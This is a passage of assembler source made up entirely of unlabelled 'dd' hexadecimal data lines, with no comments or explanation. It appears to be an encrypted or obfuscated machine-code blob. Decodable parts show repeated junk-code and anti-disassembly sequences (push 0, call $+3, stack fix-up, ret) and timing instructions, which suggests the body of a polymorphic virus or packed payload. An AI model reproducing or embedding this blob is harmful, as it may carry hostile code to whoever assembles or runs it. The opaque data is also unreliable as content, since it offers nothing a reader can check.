		dd 1ECA8041h, 242DAAE8h, 142D9AE0h, 809DE7Dh, 0D2CA8827h
		dd 0EA454F83h, 0CB7261E8h, 8B5063E8h, 8061D82Ch, 703EE93Eh
		dd 1E096407h, 2C0D5F3Bh, 7759FADEh, 79863EAh, 0B4F6D82Ch
		dd 8644D548h, 0A85ADE0Bh, 2009DE62h, 4BCA8541h,	0C2D82E8h
		dd 2D9AE0h, 209DE7Ch, 41CA8D22h, 0E1B5B96h, 0C6EFA1ACh
		dd 2289D175h, 9B09DE61h, 0DF8C53ABh, 6E0F8E14h,	1E18861h
		dd 2109DE61h, 9571D3Fh,	0C10DFA15h, 370DFA25h, 5609DE61h
		dd 66DE1D37h, 80064DCCh, 209DE67h, 31186BEAh, 0D82D82Ch
		dd 4644F42Ch, 359463EAh, 0C0F6D82Ch, 8D8035EBh,	244FA50h
		dd 24EC5BA7h, 6B4ED82Ch, 83E18F61h, 6009DE61h, 0A9501D38h
		dd 910DFA2Dh, 1F0DFA25h, 4509DE61h, 0BD6B1D30h,	5E162FBh
		dd 1009DE61h, 26A8AC74h, 709E74D8h, 21068C31h, 505311EAh
		dd 2D9AEAh, 4680DEEAh, 0B969DA45h, 9183EA48h, 400F5D6Eh
		dd 7259DE61h, 4853EF6Eh, 0D2898600h, 2DBC2122h,	640F936Ah
		dd 6E4831E0h, 0F5DE5BECh, 4063D831h, 200A3634h,	4D29DE61h
		dd 648083A2h, 4088DA45h, 21FDA45h, 544CDE61h, 1FC0BEA2h
		dd 40630E9Eh, 200A3636h, 4F29DE61h, 748081A2h, 4088DA45h
		dd 21FDA45h, 564EDE61h,	92C115A2h, 719A00E0h, 0AD80A6C2h
		dd 1644D270h, 81DA5507h, 493953E4h, 67BCFD67h, 0C70F9343h
		dd 0CD2F3BE4h, 40638D67h, 200A3634h, 4D29DE61h,	648083A2h
		dd 4088DA45h, 215DA45h,	544CDE61h, 3920EFA2h, 0BEAADD19h
		dd 0A16F9AB8h, 7893CAB0h, 5A1CA2D9h, 79FE6407h,	0DA2DDAE0h
		dd 0A4EFD83h, 0CD0217DCh, 69BC2167h, 290F936Ah,	5D0F5FF4h
		dd 0DF8C5367h, 6E0F8E14h, 1E18B61h, 2109DE61h, 9541D3Ch
		dd 0C10DFA0Dh, 3B0DFA25h, 5509DE61h, 0AB811D34h, 404B030Ch
		dd 0D2F692F7h, 0E95BDE0Bh, 8009DE62h, 1ACA8441h, 242D8AE8h
		dd 142D9AE0h, 809DE76h,	0ECA8C23h, 8B6729C2h, 4C0F5BF4h
		dd 0F1845567h, 0C90F9347h, 6D278BE4h, 0FE88B867h, 8DCFDB82h
		dd 244F884h, 6AF12636h,	43A19E04h, 8F476730h, 0C157C16Ah
		dd 31A8FA65h, 1063933Dh
		dd 80A3630h, 5D29DE61h,	4E8087A2h, 4588DA45h, 8011DA45h
		dd 1148DE61h, 11B5FBA2h, 95060F08h, 809DE67h, 0A4FA08E0h
		dd 0BF82F1B4h, 744C22Ch, 8B206B9Eh, 4063D82Ch, 200A3633h
		dd 4A29DE61h, 5C8084A2h, 4088DA45h, 210DA45h, 534BDE61h
		dd 2A7AEAA2h, 713A1613h, 6D1DE3E4h, 1389D167h, 709DE61h
		dd 818421D6h, 459ABB6h,	0E95FDE0Bh, 8009DE62h, 1ECA8041h
		dd 242DAAE8h, 142D9AE0h, 809DE74h, 0B3CA8827h, 0FC82B83Eh
		dd 1630E9Eh, 800A3636h,	1F29DE61h, 5C8081A2h, 5488DA45h
		dd 814DA45h, 534EDE61h,	0E70FE9A2h, 15C2971h, 0BCFFD20h
		dd 0D27B7ECh, 318C5767h, 990F9365h, 452FA3FCh, 0E18C1867h
		dd 410F9347h, 1195C6Eh,	8BE0DE61h, 0EB09DE61h, 8D20F347h
		dd 1C47B6F5h, 89612175h, 54CFBD73h, 21D3733h, 2B00DE61h
		dd 3A5FFD30h, 5095BC81h, 0ADABD5C5h, 5938C2B3h,	3906D28Ch
		dd 5C53B5D3h, 0AB2DEAE0h, 6B732D03h, 83E18861h,	6009DE61h
		dd 0A9571D3Fh, 910DFA15h, 1F0DFA25h, 4209DE61h,	0B7411D37h
		dd 9482ED51h, 8644EFF4h, 4B206B9Eh, 9F06D82Ch, 0C78C53AAh
		dd 580F8E14h, 5A991CE1h, 836F0E9Eh, 88DEAFB6h, 0CD2F33E4h
		dd 0B3B6D167h, 97AC5BECh, 1063D831h, 80A3630h, 5D29DE61h
		dd 4E8087A2h, 4588DA45h, 8015DA45h, 1148DE61h, 28D4DDA2h
		dd 3B09C1FBh, 585928EBh, 0BF05533h, 0E6B3B850h,	88518431h
		dd 0B6FFA65h, 0DD9C2193h, 0D90F934Bh, 8FCB18E0h, 0D082887Ah
		dd 0EC58DE0Bh, 209DE62h, 58CA8741h, 842D92E8h, 442D9AE0h
		dd 2009DE79h, 0C5CA8F20h, 0C71F7905h, 2884360h,	8784D82Ch
		dd 75969F8h, 10C3696Eh,	50E08936h, 5B09DE61h, 4C3297h
		dd 36FE6F6h, 0BBA0F275h, 5DE3603Ah, 34B68E3Fh, 10036A4Ch
		dd 0A85BDE0Bh, 2009DE62h, 4ACA8441h, 0C2D8AE8h,	2D9AE0h
		dd 209DE7Ch, 0A5CA8C23h, 0CC1BBD7Fh, 2DD77D42h,	0EF824D4Bh
		dd 0A869BE31h, 0E842824h, 3B2851DEh, 896FBF11h,	6B9ABFBBh
		dd 83E18D61h, 6009DE61h, 0A9521D3Ah, 910DFA3Dh,	130DFA25h
		dd 4709DE61h, 8DC81D32h, 1B27DCF5h, 92E014F7h, 8309DE61h
		dd 9D89863Dh, 82E82DAAh, 2D3BB8E0h, 1AE819ABh, 0CF9C2137h
		dd 6B0F9371h, 83E18C61h, 6009DE61h, 0A9531D3Bh,	910DFA35h
		dd 1D0DFA25h, 4609DE61h, 0B2111D33h, 848016EBh,	8644CE4Ch
		dd 0A18C199Dh, 2F0F9348h, 7A09DE61h, 0BE18B61h,	2409DE61h
		dd 8B541D3Ch, 800DFA0Dh, 990DFA25h, 509DE61h, 0C4B71D34h
		dd 5E8F6EA1h, 39444348h, 91F6D82Ch, 444CE4Ch, 19744BEAh
		dd 1508D82Ch, 4644F950h, 0C5BE8h, 0EBBFD82Ch, 4705BEAh
		dd 9984D82Ch, 4591541h,	8C089DE8h, 0CD21E7DCh, 0BABC5367h
		dd 990F8EABh, 1009DE52h, 3BE27A92h, 409DED9h, 76C9D561h
		dd 1111C62h, 8C2D9AEAh,	40093632h, 0A152DE61h, 1009C9A2h
		dd 2C555761h, 204D5771h, 35B18575h, 0FE097EC1h,	0A44D5581h
		dd 2AE92165h, 23E18961h, 3009DE61h, 81561D3Eh, 850DFA1Dh
		dd 1F0DFA25h, 4609DE61h, 0FC971D36h, 0A37CB219h, 635027C0h
		dd 1F3C53EAh, 6268D82Ch, 7E18C61h, 2209DE61h, 88531D3Bh
		dd 10DFA35h, 590DFA25h,	6209DE61h, 1B51D33h, 0BBE8FC75h
		dd 25A863EAh, 0BF84D82Ch, 75969F8h, 4B9553ECh, 75B1D831h
		dd 1391F8CAh, 5D2753E4h, 1C6F567h, 7A4484DFh, 0A10B0F93h
		dd 891009B4h, 612009DDh, 39D351FEh, 652C4D57h, 0E9834D5Fh
		dd 8BA4F305h, 57006AD9h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1B04h, 0C3574700h, 0BEE6271Bh, 0B780124Fh, 87F6F681h
		dd 1EE91B5Ch, 0F000000h, 18Eh, 0F61F500h, 88Eh,	2830F00h
		dd 60000000h, 8F0FC361h, 1, 0E9C08BF5h,	11h, 4D1FFD3Dh
		dd 72580E55h, 0AECD379Eh, 6E7F85C2h, 0D9BD8345h, 64D1Bh
		dd 0BD830975h, 64D0011h, 50197400h, 0B8C08B53h,	4B9h, 31A58589h
		dd 9D8D064Dh, 64FB77Ch,	585BD3FFh, 11BD83h, 7400064Dh
		dd 0B8535017h, 4B9h, 31A58589h,	9D8D064Dh, 64FB41Dh, 585BD3FFh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 52C35646h
		dd 76914C68h, 14E964h, 0FDB0000h, 4EF2E51h, 0DA3F80CAh
		dd 0CD9C95D3h, 25C6D135h, 6A7B06h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 190424h, 53430000h, 152F0BC3h, 0F19834Fh
		dd 68Eh, 0D08B6000h, 8B615850h,	8B40F9C0h, 39BD8BC1h, 8B064D2Ah
		dd 4D2ED5B5h, 4EB06h, 0F9000000h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 14h, 12C35747h, 0DC59D89h, 858D064Dh
		dd 64D0735h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 18h,	0ACC35343h, 96191DB4h, 1AF5BD23h, 0BE90064Dh, 3D6B3A47h
		dd 6A9050h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h
		dd 57470000h, 8BA320C3h, 4D2325BDh, 89006A06h, 4D22498Dh
		dd 81006A06h, 285875D6h, 25858D4Dh, 6A0650CFh, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h
		dd 0A904C350h, 81E81427h, 0E94FCE1Ch, 9, 0F851272h, 79A96E5Bh
		dd 998589E0h, 83064D26h, 0BD8B05C0h, 64D2921h, 0E9605090h
		dd 6, 9FDEC540h, 0EE8FDB5h, 63000000h, 0AE77BAD7h, 0BCB2D9A4h
		dd 639D6F14h, 11E9DBh, 0F9310000h, 0B781A549h, 0AFCF73A7h
		dd 0CA892D06h, 5E49DF13h, 6A9061h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 180424h, 56460000h, 5BED1EC3h, 6A2334h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 36C35141h, 647C4AB6h
		dd 4D2F93ECh, 0BE965h, 58910000h, 48550F9Fh, 2418313Dh
		dd 6A006A20h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 19042444h, 47000000h, 4BC5C357h, 0D774168Ah,	0BFFEBE66h
		dd 114995FFh, 6A064Dh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1D0424h, 55450000h, 5C2AC2C3h, 0ADC68931h, 2385E9BBh
		dd 4D2B91BDh, 0FFB70F06h, 9A139D8Dh, 6A0650h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 25E818C3h
		dd 10EE7208h, 0EE846h, 0B7630000h, 0DBC43B49h, 0FD985EF2h
		dd 0A3C06D0Ch, 11E9h, 8CE5AA00h, 8ED0CC07h, 164AF0E3h
		dd 85473C34h, 0FF5FA822h, 53006AD3h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1604h,	0C3534300h, 0FFE1549Dh
		dd 4D181585h, 0F5B58B06h, 0E9064D04h, 6F8h, 0E8h, 0ED815D00h
		dd 650CF2Fh, 11E8h, 6605AA00h, 1D80F83Eh, 45E2C20Dh, 0A33CB076h
		dd 0B58B0581h, 64D1EEDh, 0E1BD815Eh, 0D0064D29h, 0F000007h
		dd 0F186h, 358D8900h, 29064D04h, 4D2DA195h, 99D8B06h, 0E9064D03h
		dd 12h,	604D4099h, 0ECD80FECh, 607D6EA7h, 8E80F33Ch, 45BE49D3h
		dd 81114D46h, 100E3h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1604h, 0C3564600h, 9102624h, 4D1B8D8Dh, 0BF08B06h
		dd 4B850FDBh, 60000000h, 9D54BE66h, 0D5858960h,	66064D2Ah
		dd 6121C6B9h, 0E5BD8361h, 650CCh, 11840Fh, 0B5230000h
		dd 64D1B79h, 2EE9h, 0A99D8900h,	0C7064D1Fh
		dd 50CCE585h, 106h, 0F9BD8B00h,	0E9064D29h, 13h, 31659529h
		dd 85C7064Dh, 650CCE5h,	0
		dd 8DF98B66h, 4D03099Dh, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1B04h, 0C3534300h, 0B7F46D58h, 0E36291A0h
		dd 0FEFF2381h, 8B0FFFFFh, 2, 8C66F78Bh,	53006ADBh, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1904h, 0C3534300h
		dd 41FF4786h, 0F38B6920h, 0F04C3F6h, 9784h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1B04h, 0C3534300h
		dd 4FFE48Bh, 47F3B5Ah, 49850160h, 56064D03h, 2239B58Bh
		dd 615F064Dh, 102D95FFh, 0BE66064Dh, 820FA992h,	1, 666090F5h
		dd 0E91BE9BFh, 12h, 1B8D3591h, 0B0F8CE8Fh, 4B12306Eh, 5CBE75E9h
		dd 50613805h, 50F18B60h, 0BA39B952h, 310F5A8Ah,	585A6160h
		dd 6A9061h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h
		dd 53430000h, 850126C3h, 64D0DB5h, 3E2E9h, 71BD8B00h, 0B0064D21h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1D04h
		dd 0C3514100h, 5F9F683Bh, 55DA7197h, 0BF665275h, 70E6BA34h
		dd 10E860h, 79F50000h, 7B73B324h, 0A1A0A75Eh, 61527ED8h
		dd 0BF66FC71h, 0B598D4Dh, 4D130185h, 71E46106h,	0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 72C35545h, 9DB58941h
		dd 0F064D14h, 6E9D8B6h,	0F0000000h, 447E72F8h, 6BA42h
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h
		dd 55450000h, 5A6CE7C3h, 16014453h, 89A7F5F1h, 4D1FC595h
		dd 6AC38B06h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 16042444h, 42000000h, 256BC352h, 4E8C1E9h, 0F766F88Bh
		dd 6AD82BE2h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1C042444h, 45000000h, 0D727C355h, 7E93AD6Eh,	0E8AFBB7Bh
		dd 10h,	1F91A7C5h, 22499CF1h, 0C8E10984h, 0D5E69C58h, 296DB58Bh
		dd 935E064Dh, 58B0Fh, 0B8BE0000h, 500B76A3h, 66525060h
		dd 310FF38Bh, 8A0Fh, 585A0000h,	860F57h, 5F000000h, 8D0F9361h
		dd 6, 0D6D8D29h, 8E9064Dh, 6E000000h, 93E90141h, 0FF73CD3Ah
		dd 4D29E1B5h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1A04h, 0C3504000h, 0EDA83839h, 0FF687135h, 4D051195h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1404h
		dd 0C3554500h, 8DBD8BCCh, 0B0064D32h, 4850F00h,	66000000h
		dd 0BFFEA2BFh, 3A468E22h, 0BD3370E6h, 64D2901h,	0DE971E4h
		dd 84000000h, 0C421B6CFh, 0CEE992D9h, 0A121DD32h, 830F613Ch
		dd 1FBh, 0FFABF0Fh, 12E9D8B6h, 0D3000000h, 976D0DB6h, 56F4466Fh
		dd 37F50195h, 0CC73566Ah, 6BA7Ch, 0BF660000h, 0C38B5D35h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 0A4C35747h
		dd 637F70C0h, 1247837Dh, 4E8C148h, 0BE850h, 7D890000h
		dd 0AD724121h, 0EA49F4AFh, 665E5F47h, 6AE2F7h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
		dd 0E8F011C3h, 0CE8h, 44E27B00h, 0A54AE936h, 3D291DC4h
		dd 6E968h, 5D5E0000h, 9A85AF64h, 89D82B5Eh, 4D0E6DB5h
		dd 0D6815806h, 73203341h, 880FD82Bh, 143h, 23BFFA8Bh, 0B9540BE3h
		dd 7, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h, 1Ch
		dd 39C35545h, 3837A3CAh, 34860686h, 0C183F38Bh,	56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1A04h, 0C3564600h
		dd 0ADAC3727h, 3B6FAC79h, 0E4860FD9h, 66000000h, 820FD98Ch
		dd 6, 2B21B58Bh, 0C1F6064Dh, 0C5840F04h, 6A000000h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h
		dd 0C92C352h, 0CECC0538h, 0F9F2183Fh, 102D95FFh, 13E8064Dh
		dd 52000000h, 16AB2681h, 56E10FEBh, 3C05E8F8h, 0D40F3826h
		dd 890F4565h, 17h, 12E9h, 7F66A400h, 11C49959h,	7193AEECh
		dd 80959FFEh, 5E61D2D0h, 56006A5Bh, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1C04h, 0C3564600h, 74C00873h, 0CD6E37A9h
		dd 0DE8DFh, 31380000h, 6B355F8Dh, 7AE6AB16h, 0F53A6BB9h
		dd 81C32B5Eh, 0F62BDC7h, 8343D40h, 860F0000h, 18h, 18E95E51h
		dd 0E9000000h, 0Ch, 6E8093CFh, 0FE4F5AC0h, 97F83BEDh, 0CCBEC08Bh
		dd 8B3BCFCFh, 6AD88BC3h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 17042444h, 47000000h, 8377C357h, 85C7E581h
		dd 64D17D1h, 31768739h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Ah, 9FC35343h, 0C1C25299h, 0E851AD5Eh, 7
		dd 8C395415h, 0FCAB93Bh, 80h, 0E95E5F00h, 9, 0BA858FB8h
		dd 24283B3Dh, 3C08BF0h,	4D3149BDh, 0E1BD8106h, 0D0064D29h
		dd 0F000007h, 2285h, 0E185FF00h, 0E8064D29h, 14h, 0AEA67CECh
		dd 0A9BD3E25h, 275166AEh, 5484BF0Ch, 0F7D37CEh,	0FF5F5F50h
		dd 4D29E1B5h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1504h, 0C3534300h, 8D8940F0h, 64D053Dh, 51195FFh, 0BD8B064Dh
		dd 64D279Dh, 5678B890h,	6A1234h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1B0424h, 55450000h, 7101F9C3h, 7FF3C99Ch
		dd 0E39D8D8Ch, 0E90650D5h, 0FFFFF914h, 311DB501h, 0B58B064Dh
		dd 64D0C45h, 95BEC18Bh,	0EB37D85Ch, 4, 85895000h, 64D32D5h
		dd 53006A5Fh, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1404h
		dd 0C3534300h, 35952947h, 8B064D11h, 4D15DDB5h,	35858D06h
		dd 6A064D07h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 14042444h, 40000000h, 0F1BC350h, 6050FABFh, 6860Fh
		dd 52500000h, 585A310Fh, 0FE8h,	0B3351700h, 0E938B032h
		dd 3B7E53F4h, 0B7524C93h, 11E8h, 0C6A2DA00h, 963FECB0h
		dd 96839625h, 9E592AC1h, 5A5ACAACh, 24048961h, 6AFE8Bh
		dd 66F78A60h, 6A61CF8Bh, 0FB8B6600h, 0D826858Dh, 8B660650h
		dd 5C083FEh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 17h,	72C35343h, 5276D22Fh, 12E9h, 85E6CC00h,	0A6B8759Bh
		dd 8F378092h, 1E96B6AAh, 5FC6507Dh, 90F6B70Fh, 7E8h, 760B3800h
		dd 707E062Eh, 8E9505Eh,	1C000000h, 82457640h, 90862283h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 79C35343h
		dd 0BCCC3305h, 91F17AEEh, 26F18D89h, 6A064Dh, 0D6DB50Bh
		dd 0B0BF064Dh, 6A0E0748h, 81B58B00h, 0FF064D00h, 4D114995h
		dd 0AE906h, 9DDB0000h, 7CD353B7h, 4E26AA5Fh, 9A139D8Dh
		dd 6A0650h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h
		dd 57470000h, 0D3FF4CC3h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Bh, 8DC35343h, 60CF5E93h,	8BBE071Eh, 4D3109BDh
		dd 5EC68106h, 0FF4DBD34h, 4D181585h, 51006A06h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1D04h,	0C3514100h, 2C6832FBh
		dd 0ADCCD29Dh, 0BD8B0619h, 64D2D1Dh, 13E9h, 0F627EB00h
		dd 28E7C7F0h
		dd 27843010h, 0DABE4B49h, 5E86400Ch, 0D49E9h, 0E800h, 815D0000h
		dd 50D830EDh, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1904h, 0C3574700h, 0F253C812h, 850153E6h, 64D2725h
		dd 29E1BD81h, 7D0064Dh,	860F0000h, 0ADh, 13E9h,	0B10A4500h
		dd 0D0077038h, 70290673h, 0ADEA0FAEh, 47429E17h, 27359D8Bh
		dd 0E381064Dh, 100h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Ah, 5C35242h, 544DECBEh, 0D0BFD7D1h, 0B30432Ah
		dd 32850FDBh, 83000000h, 50D62BBDh, 840F0006h, 6, 30E9h
		dd 85C7F900h, 650D62Bh,	1, 97ADC781h, 1AE93C66h, 0F000000h
		dd 48Eh, 60BF6600h, 2B85C738h, 650D6h, 89000000h, 4D2685B5h
		dd 359D8D06h, 81064D27h, 0D736B3F7h, 0FF23810Dh, 8BFFFFFEh
		dd 4D1B71BDh, 0DB8C6606h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ch, 86C35747h, 0E75F6FE6h, 3D706EF0h, 50AD6DBFh
		dd 0B104BE49h, 0C3F60020h, 6B840F04h, 53000000h, 30898D89h
		dd 0FF5E064Dh, 4D102D95h, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1904h,	0C3504000h, 1D48352Ah
		dd 4BBEE9C5h, 903D1A8Ah, 5B83BF66h, 77BE6650h, 6A90FAh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
		dd 15BEC9C3h, 0E9374A4Ah, 6, 0AFAAEEECh, 0A3E97B2Bh, 66000003h
		dd 69BDEE81h, 6A00B0h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1A0424h, 50400000h, 6F8532C3h, 57F24A04h, 2E159D89h
		dd 70E6064Dh, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 15h,	0E3C35040h, 71E4F9AFh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 19h, 0D5C35646h,	0E79F403Bh, 70EFBEB0h
		dd 0B60F35D0h, 0C5B501D8h, 0BA064D0Eh, 6, 0F554C681h, 0C38B4F74h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0D1C35545h
		dd 0C9B553C1h, 0AA0E771Ah, 1651BD03h, 0E8C1064Dh, 52006A04h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1504h, 0C3524200h
		dd 95093788h, 64D1AC5h,	3890Fh,	8B660000h, 0E2F766F7h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 0CCC35747h
		dd 8166B0E9h, 2B5537DEh, 4459BED8h, 50937195h, 73A92ABEh
		dd 6A9308h, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h
		dd 50400000h, 28B76CC3h, 0FFF8BF0Fh, 4D29E1B5h,	1195FF06h
		dd 66064D05h, 0B031A9BFh, 0CF816600h, 70E69783h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 17C35747h, 3AC00ECDh
		dd 810FF47Ch, 6, 2D318589h, 71E4064Dh, 16198589h, 613C064Dh
		dd 210830Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1A0424h, 55450000h, 0D3D7B2C3h, 7ADFAE80h, 2CE5BD03h
		dd 8D29064Dh, 64D1B51h,	6AD8B60Fh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 0C6D3C357h
		dd 0F29BF47h, 9E9h, 0E7A10900h,	8F98B052h, 6BAAE65h, 6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1A042444h
		dd 41000000h, 5F14C351h, 39C21AF2h, 0EF19BFB2h,	0C38B3C4Ch
		dd 27918D89h, 0E8C1064Dh, 53006A04h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1704h,	0C3534300h, 0FD80986Bh
		dd 0E8E2F766h, 0Eh, 902F20D7h, 482C4580h, 0D4FC016Ah, 0B70FC6D0h
		dd 0D82B5FF8h, 58F88B66h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 15h, 9AC35646h, 0F1B58B26h, 2B064D1Eh, 0F880FD8h
		dd 6A000001h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 14042444h, 40000000h, 6633C350h, 7B9F28Bh, 0F5000000h
		dd 5700C183h, 1B29B589h, 3B5F064Dh, 0D7860FD9h,	6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 17042444h
		dd 47000000h, 87DFC357h, 9D89CED7h, 64D29EDh, 6AD98C66h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 17042444h
		dd 41000000h, 0AF5FC351h, 8501BDD6h, 64D2541h, 0F04C1F6h
		dd 7F84h, 0EE900h, 0C1290000h, 0AE54A47Bh, 897E316Bh, 54443865h
		dd 102D95FFh, 8D29064Dh, 64D2BB5h, 1D85315Bh, 2B064D2Ah
		dd 8343DC3h, 860F0000h,	4Ch, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 14h, 0F7C35646h,	0AA5B589h, 0B523064Dh
		dd 64D0415h, 21E9h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1704h, 0C3554500h, 1253E8E6h, 0C38BC08Bh
		dd 6AD88Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h
		dd 51410000h, 146BE3C3h, 817DAFCCh, 1794EDF6h, 985C757h
		dd 9D064D03h, 6A7944CDh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1C042444h, 45000000h, 9EE9C355h, 3084ABFCh
		dd 51DF0DE8h, 8B5FF18Bh, 52006AC0h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1D04h, 0C3524200h, 95D85EB2h, 0EA052693h
		dd 0BD819D6Bh, 64D29E1h, 7D0h, 30850Fh,	0B5290000h, 64D1B05h
		dd 29E185FFh, 6A064Dh, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 160424h, 56460000h, 6970FAC3h, 2B399589h, 0B5FF064Dh
		dd 64D29E1h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 14h,	83C35242h, 18E0Fh, 0FFF90000h, 4D051195h, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1404h, 0C3574700h
		dd 4090FC48h, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 18h,	83C35545h, 271DE2AAh, 0FFB70FF8h, 605BD83h, 0F00064Dh
		dd 8D84h, 0FE8B6600h, 2999BD83h, 0F00064Dh, 7D84h, 2DB58900h
		dd 0FF064D32h, 4D060595h, 0FDB58B06h, 0B064D0Ch, 63840FC0h
		dd 0F000000h, 8D8DF0B7h, 64D4DE5h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Dh, 8EC35040h, 797AA610h, 4F3622D3h
		dd 2EBF661Ah, 5B888h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 140424h, 53430000h, 9589B5C3h, 64D0039h
		dd 0BD8BE1FFh, 64D2A91h, 0BD835E56h, 64D0BB5h, 0B840F00h
		dd 8B000006h, 4D2DF9BDh, 99BD8306h, 64D29h, 5F8840Fh, 6A0000h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
		dd 0DDA338C3h, 0FA7EB0E8h, 14BDBD01h, 8D8D064Dh, 64D25E1h
		dd 0DA34BF66h, 7C8401C7h, 0FB8B44B2h, 0CFCB0181h, 0BF531499h
		dd 1DD19FC7h, 441C75Eh,	0CE706B34h, 10044181h, 8B31D6D7h
		dd 6A006AF8h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 18042444h, 43000000h, 0AA88C353h, 8B7D0A39h,	4D31E5B5h
		dd 0F1BD8906h, 8D064D0Ah, 4D25E185h, 50006A06h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1C04h,	0C3504000h, 0E227B17h
		dd 0EBE4376Fh, 0DE89015h, 1C000000h, 26C4D8B7h,	3D560CB0h
		dd 2CF2713Fh
		dd 5EF38B66h, 60525050h, 0FD78B66h, 84h, 310F6100h, 585AF08Bh
		dd 91BD8B90h, 0FF064D25h, 4D0BB595h, 899D8906h,	8D064D14h
		dd 4D25E18Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1A04h, 0C3504000h, 383D79FCh, 0E86C07ECh, 0Ah, 9532F6A9h
		dd 366F0705h, 8B66ABF2h, 0E9605EF1h, 0Ah, 8FB6F5A6h, 0D5233E33h
		dd 14E9B7D5h, 0C1000000h, 0EA65C71h, 0E9B4282Bh, 0B6671CE8h
		dd 8D022D89h, 61F3C8B2h, 1C7h, 6A0000h,	3E857h,	5F200000h
		dd 7C895FC3h, 44810424h, 190424h, 57470000h, 3EEE98C3h
		dd 6668F4B0h, 81CCB7BEh, 0F7DCDDEh, 441C707h, 0
		dd 0A0399DBFh, 0FC00B09h, 7084h, 50006A00h, 3E8h, 0C3582000h
